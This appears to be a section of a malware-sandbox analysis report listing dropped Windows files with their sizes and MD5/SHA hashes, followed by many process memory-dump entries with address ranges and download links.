C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
734d36934542c4b1e8c39ea9d3464b66

SHA1
855a2d4c54c69a9ed4bece1ad6bcf0bbc2836445

SHA256
40f793ba9b63c1b337a9b1a89edf284af8eefa70d22f05d0a13c2a539a7c763f

SHA512
71e77528dd6da42d6d74243a9aa8fa9ad6a2d80f0421de7d681d240ec8be7f96809618b6d64fe895ed81983ec48bfa648d402ff92a94f5f4a48787d52838569b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lrd3x1dh.kvo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/532-35-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/532-30-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/532-31-0x000001FBEF740000-0x000001FBEF750000-memory.dmp

Filesize
64KB

Download
memory/532-32-0x000001FBEF740000-0x000001FBEF750000-memory.dmp

Filesize
64KB

Download
memory/532-33-0x000001FBEF740000-0x000001FBEF750000-memory.dmp

Filesize
64KB

Download
memory/1108-102-0x00000248701F0000-0x0000024870200000-memory.dmp

Filesize
64KB

Download
memory/1108-113-0x00007FF432100000-0x00007FF432110000-memory.dmp

Filesize
64KB

Download
memory/1108-91-0x00000248701F0000-0x0000024870200000-memory.dmp

Filesize
64KB

Download
memory/1108-114-0x00000248701F0000-0x0000024870200000-memory.dmp

Filesize
64KB

Download
memory/1108-90-0x00000248701F0000-0x0000024870200000-memory.dmp

Filesize
64KB

Download
memory/1108-89-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1108-116-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1216-54-0x00007FF772970000-0x00007FF772B81000-memory.dmp

Filesize
2.1MB

Download
memory/1216-120-0x00007FF772970000-0x00007FF772B81000-memory.dmp

Filesize
2.1MB

Download
memory/1216-112-0x00007FF772970000-0x00007FF772B81000-memory.dmp

Filesize
2.1MB

Download
memory/1616-47-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1616-53-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1616-49-0x00000193B03D0000-0x00000193B03E0000-memory.dmp

Filesize
64KB

Download
memory/1616-50-0x00000193B03D0000-0x00000193B03E0000-memory.dmp

Filesize
64KB

Download
memory/3128-133-0x00007FF6D6600000-0x00007FF6D6616000-memory.dmp

Filesize
88KB

Download
memory/3128-127-0x00007FF6D6600000-0x00007FF6D6616000-memory.dmp

Filesize
88KB

Download
memory/3240-128-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-160-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-188-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-186-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-184-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-182-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-180-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-178-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-176-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-174-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-172-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-170-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-168-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-166-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-164-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-162-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-158-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-156-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-121-0x000001C65A6A0000-0x000001C65A6C0000-memory.dmp

Filesize
128KB

Download
memory/3240-122-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-154-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-152-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-126-0x000001C65AD80000-0x000001C65ADC0000-memory.dmp

Filesize
256KB

Download
memory/3240-150-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-148-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-129-0x000001C65ADC0000-0x000001C65ADE0000-memory.dmp

Filesize
128KB

Download
memory/3240-130-0x000001C65ADE0000-0x000001C65AE00000-memory.dmp

Filesize
128KB

Download
memory/3240-132-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-146-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-134-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-135-0x000001C65ADC0000-0x000001C65ADE0000-memory.dmp

Filesize
128KB

Download
memory/3240-136-0x000001C65ADE0000-0x000001C65AE00000-memory.dmp

Filesize
128KB

Download
memory/3240-138-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-140-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-142-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3240-144-0x00007FF75B920000-0x00007FF75C114000-memory.dmp

Filesize
8.0MB

Download
memory/3456-76-0x000002B53E250000-0x000002B53E305000-memory.dmp

Filesize
724KB

Download
memory/3456-79-0x000002B53E460000-0x000002B53E46A000-memory.dmp

Filesize
40KB

Download
memory/3456-82-0x000002B53E4A0000-0x000002B53E4A6000-memory.dmp

Filesize
24KB

Download
memory/3456-83-0x000002B53E4B0000-0x000002B53E4BA000-memory.dmp

Filesize
40KB

Download
memory/3456-84-0x000002B53BDE0000-0x000002B53BDF0000-memory.dmp

Filesize
64KB

Download
memory/3456-75-0x000002B53E230000-0x000002B53E24C000-memory.dmp

Filesize
112KB

Download
memory/3456-87-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/3456-80-0x000002B53E4C0000-0x000002B53E4DA000-memory.dmp

Filesize
104KB

Download
memory/3456-55-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/3456-78-0x000002B53E480000-0x000002B53E49C000-memory.dmp

Filesize
112KB

Download
memory/3456-81-0x000002B53E470000-0x000002B53E478000-memory.dmp

Filesize
32KB

Download
memory/3456-56-0x000002B53BDE0000-0x000002B53BDF0000-memory.dmp

Filesize
64KB

Download
memory/3456-77-0x000002B53E310000-0x000002B53E31A000-memory.dmp

Filesize
40KB

Download
memory/4136-13-0x00000241254C0000-0x00000241254D0000-memory.dmp

Filesize
64KB

Download
memory/4136-14-0x00000241254C0000-0x00000241254D0000-memory.dmp

Filesize
64KB

Download
memory/4136-18-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4136-12-0x00000241254C0000-0x00000241254D0000-memory.dmp

Filesize
64KB

Download
memory/4136-11-0x00007FFCC9F40000-0x00007FFCCAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4136-1-0x0000024125480000-0x00000241254A2000-memory.dmp

Filesize
136KB

Download
memory/4136-17-0x00000241254C0000-0x00000241254D0000-memory.dmp

Filesize
64KB

Download
memory/4328-37-0x00007FF7D23E0000-0x00007FF7D25F1000-memory.dmp

Filesize
2.1MB

Download
memory/4328-0-0x00007FF7D23E0000-0x00007FF7D25F1000-memory.dmp

Filesize
2.1MB

Download